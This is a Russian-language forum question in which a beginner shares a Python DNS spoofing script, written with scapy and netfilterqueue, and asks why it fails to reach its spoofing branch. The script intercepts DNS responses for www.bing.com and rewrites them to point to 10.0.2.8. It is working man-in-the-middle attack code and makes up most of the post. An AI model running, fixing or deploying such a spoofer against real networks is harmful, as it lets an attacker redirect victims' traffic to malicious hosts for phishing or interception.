DNS-спуфер, и я не могу пройти определенную точку - PullRequest
0 голосов
/ 29 мая 2020

Я запускаю этот код, и кажется, что он даже не передает второй второй оператор if. Кто-нибудь может помочь? Если бы кто-нибудь мог помочь, он был бы признателен, поскольку я новичок в подобных вещах.

import netfilterqueue
import scapy.all as scapy


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if 'www.bing.com' in qname:
            print('[+] Spoofing Target...')
            answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.8')
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
...